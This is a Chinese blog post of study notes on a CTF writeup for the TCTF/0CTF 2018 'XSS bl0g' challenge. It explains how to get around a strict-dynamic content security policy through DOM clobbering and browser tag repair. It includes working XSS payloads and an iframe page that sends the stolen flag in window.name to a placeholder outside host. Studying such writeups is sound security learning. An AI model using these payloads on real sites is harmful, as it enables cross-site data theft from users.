表哥们的Blog瞻仰计划(LoRexxar篇一)

表哥们的Blog瞻…

前言

第二个瞻仰计划就写LoRexxar师傅的好了。
相对梅子酒师傅,这个师傅我可能就更不认识了,但是在表哥文章的字里行间里感觉,这表哥应该是个很有趣的人,希望以后能与各路大神有所接触,交个朋友。

这师傅的Blog更加详实,从14到18,这位师傅应该是纪录了他成长的全过程,相信读过他的所有文章之后,我也能有不小的提高。嗯,这师傅据推测应该是今年大四,马上毕业的。膜404 Member 。。。。

唉,现在要全身心的考研,只能用空闲的午休时间稍微学一点东西。

文章

文章太多,只挑近一两年,感觉比较有深度写上来吧。

0x01. TCTF/0CTF2018 XSS bl0g Writeup

第一篇,是和梅子酒师傅写的一道题的Wp,看来这道CSP绕过题的确非常优秀。不亏是0ops、腾讯的联合赛。

难点还是在于利用。站的功能是比较常见的XSS功能:

1、new 新生成文章
2、article/xx 查看文章/评论
3、submit 提交url (start with http://202.120.7.197:8090/)
4、flag admin可以查看到正确的flag

隐藏的条件:

1.CSP

Content-Security-Policy:
script-src 'self' 'unsafe-inline'
Content-Security-Policy:
default-src 'none'; script-src 'nonce-hAovzHMfA+dpxVdTXRzpZq72Fjs=' 'strict-dynamic'; style-src 'self'; img-src 'self' data:; media-src 'self'; font-src 'self' data:; connect-src 'self'; base-uri 'none'

两个可独立生效,即 “与”

2.effect:

POST /new HTTP/1.1
Host: 202.120.7.197:8090
Connection: keep-alive
Content-Length: 35
Cache-Control: max-age=0
Origin: http://202.120.7.197:8090
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://202.120.7.197:8090/new
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: BL0G_SID=vV1p59LGb01C4ys4SIFNve4d_upQrCpyykkXWmj4g-i8u2QQzngP5LIW28L0oB1_NB3cJn0TCwjdE32iBt6h
title=a&content=a&effect=nest

<input type="hidden" id="effect" value="{effect_value}">
effect是用来设置特效的字段,会插入到页面中而没有经过过滤,即可以通过闭合这个标签并插入想要的标签,但最多插入70个字符。(出现了!XSS字符限制!)

3、login?next=这个点可以存在一个任意跳转,通过这个点,我们可以绕过submit的限制(submit的maxlength是前台限制,可以随便跳转

4、站内的特效是通过jqery的append引入的,在article.js中:

`$(document).ready(function(){
$("body").append((effects[$("#effect").val()]));
});`

effects在config.js中被定义。

思路:

  • 在不考虑0day的情况下,我们唯有通过想办法通过动态生成script标签,通过sd CSP这个点来绕过

trick:

  1. 在js中,对于特定的form,iframe,applet,embed,object,img标签,我们可以通过设置id或者name来使得通过id或name获取标签

2.

script a="
<script nonce="testtt">...
浏览器有一定的容错能力,他会补足不完整的标签
=====>
<script a="<script" nonce="test">...
可惜此处并不适用,中间太多无用标签

attack:

  1. 利用隐藏条件4,覆盖effects变量,就可以向body注入标签了,利用trick1,通过effects获取到<form name=effects>这个标签。同理,我们就可以通过插入这个标签来注册effects这个变量。

  2. 插入的effects在接下来的config.js中被覆盖了。此处利用trick2,浏览器有一定的容错能力,我们可以通过插入<script>,那么这个标签会自动闭合后面config.js的</script>,那么中间的代码就会被视为js代码,被CSP拦截。

  3. 成功的覆盖了effects变量,紧接着我们需要覆盖effects[$("#effect").val()],为了省位数,用的id属性。尝试传入:

    effect=id"><form name=effects id="<script>alert(1)</script>"><script>
    success.

  4. 构造获取flag:
    最简payload:
    id"><form name=effects id="<script>"><script>
    一共有45位,然而可以操作的位数只有25位。
    L师傅用的是蓝猫师傅的解法:
    id"><form name=effects id="<script>$.get('/flag',e=>name=e)"><script>
    通过jquery get获取flag内容,通过箭头函数将返回赋值给window.name。紧接着,尝试获取window.name.
    此处用到跨域操作,window.name不跟随域变化而变化.
    完整payload:
<html>
</html>
<script>
var i=document.createElement("iframe");
i.src="http://202.120.7.197:8090/article/3503";
i.id="a";
var state = 0;
document.body.appendChild(i);
i.onload = function (){
    if(state === 1) {
        var c = i.contentWindow.name;
            location.href="http://xx?c="+c;
    } else if(state === 0) {
        state = 1;
        i.contentWindow.location = './index.html';
    }
}
</script>

然后通过login?next=这里来跳转到这里 。

总结:

emmmm,我承认,L师傅写的这份wp我真不是非常明白。CSP的基础我并没有掌握,对于这个东西的绕过自然难以融会贯通。
这个就只能利用以后的午休慢慢补了。
2018.6.11


后续待更、、、

后记

时间。时间不够啊。太多东西要学。

对了,L师傅的Blog:lorexxar’s blog

harmoc

发表评论

电子邮件地址不会被公开。 必填项已用*标注